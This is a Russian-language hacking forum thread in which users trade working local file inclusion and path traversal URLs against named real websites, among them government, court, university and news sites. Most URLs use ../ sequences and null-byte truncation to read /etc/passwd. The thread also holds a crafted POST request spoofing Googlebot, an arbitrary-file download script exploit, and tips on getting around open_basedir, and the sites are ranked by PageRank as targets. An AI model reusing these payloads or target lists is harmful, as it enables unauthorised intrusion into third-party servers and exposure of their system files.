http://www.md5search.de/index.php?action=info&language=../../../../../../../../../../../../../etc/passwd%00
.gov =) datamil.delaware.gov Code: http://datamil.delaware.gov/topos/download.php?file=download.php странный сайт, по кэшу гугла когда то был корень,нынче пусто... Вобщем посмотрел на заголовок, увидел уже после того как нашел... =) eLouai's Download Script ищем в гугле такие есть еще... к примеру: Code: http://www.alllottoresults.com/force-download.php?file=index.php Code: http://jual-pulsa.com/download.php?file=v4/index.php
http://globaldiscountsclub.com/index.php?option=com_pro_desk&include_file=../../../../../etc/passwd http://www.gardenlaw.co.uk/cgi-bin/view_ads.cgi?category=39&process=1&template=../../../../../etc/passwd http://www.jedit.org/index.php?page=features/?page=../../../../../../../../../../../../../etc/passwd%00 http://www.emsc-csem.org/index.php?page=home&sub=gmap/?page=../../../../../../../../../../../../../etc/passwd%00 http://www.bastian-friedrich.de/yappa//index.php?album=../../../../../../../../../../../../../etc/passwd http://medicalcraft.com//main/index.php?content=../../../../../../../../../../../../../etc/passwd http://www.velocos.ch/guestbook_e/admin.php?include_path=../../../../../../../../../../../../../../../etc/passwd%00 http://www.hotelambrosianamilano.com/index.php?page=/etc/passwd http://www.mfa.gov.et/View_Commentaries/View.php?Page=../../../../../../etc/passwd http://www.worldwidepay.com/index.php?read=../../../../../../../../../../../../../../etc/passwd http://www.thinprint.com/view.php?page=../../../../../etc/passwd%00 http://www.rbgarage.com/rbg/index.php?go=../../../../etc/passwd%00 http://www.eurekalert.org/kidsnews/page.php?page=../../../../../../../etc/passwd%00
www.unicaen.fr Université de Caen Basse-Normandie ----------------------------- Page Rank: 7 Alexa Rank: 14.516 ----------------------------- Code: POST http://www.unicaen.fr/mrsh/irefi/expos0.php HTTP/1.0 Accept: */* User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Host: www.unicaen.fr Content-type: application/x-www-form-urlencoded Referer: http://www.google.com/ page=../../../../../etc/passwd[COLOR=White]['.str_repeat("/.",2021).'][/COLOR] -----------------------------
Сайт, конечно, убогий, инклуд локальный, да еще open_basedir мешает. Как я понял, можно шарить по /var/www/virtual/peaceduke.su/. Дальше все закрыто, но в папку /tmp доступ есть.
http://www.baikap.de/index2.php?include=../../../../../../../../../../../etc/passwd&id=2&language=EN вот от меня ЗЫ а искал вообще скул иньекции
Windows+open_basedir+URL file-access is disabled ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Высший совет юстиции Украины! о как =) ===================================================== ТиЦ PR 425 6 URL file-access is disabled in the server configuration ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Отель 27 жемчужин. ===================================================== Что то плять никто ничего не постит..а тема ведь самая простая)) PR 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Вроде как Арбитражный суд москвы! =)
http://www.raskleim.ru/ http://www.raskleim.ru/?xid=title&sm=titles/../../../../../../../etc/passwd%00 Расклейка объявлений, листовок и афиш в Санкт-Петербурге. Сайт фуфел конечно но уязвимость есть =)
servizioclienti.repubblica.it PR 7 Code: http://www.servizioclienti.repubblica.it/index.php?page=../../../../../../../../../../../../../etc/passwd%00 aphp.fr PR 7 Code: http://www.aphp.fr/index.php?module=../../../../../../../../../../../../../etc/passwd%00 worldsteel.org PR 6 Code: http://www.worldsteel.org/index.php?action=../../../../../../../../../../../../../etc/passwd%00 www.reformtheun.org PR 6 Code: http://www.reformtheun.org/index.php?module=../../../../../../../../../../../../../etc/passwd%00 filmmusic.net PR 5 Code: http://www.filmmusic.net/page.php?page=../../../../../../../../../../../../../etc/passwd%00 thewho.com PR 5 Code: http://www.thewho.com/index.php?module=../../../../../../../../../../../../../etc/passwd%00
2kgames.com pr6 | tic 400 Code: http://www.2kgames.com/index.php?p=../../../../../../etc/passwd%00 utbookstore.tennessee.edu Code: http://utbookstore.tennessee.edu/uccs/index.php?p=../../../../etc/passwd%00 stefanmay.com Code: http://www.stefanmay.com/index.php?p=../../../../../etc/passwd%00
http://rastaman.tales.ru/?page=lol&menu1=1&menu2=2&smenu1=1&inctext=6 может и боян не знаю но сказки там клевые ) еще попробуйте поиздеватся над переменными остальные тоже много интересного
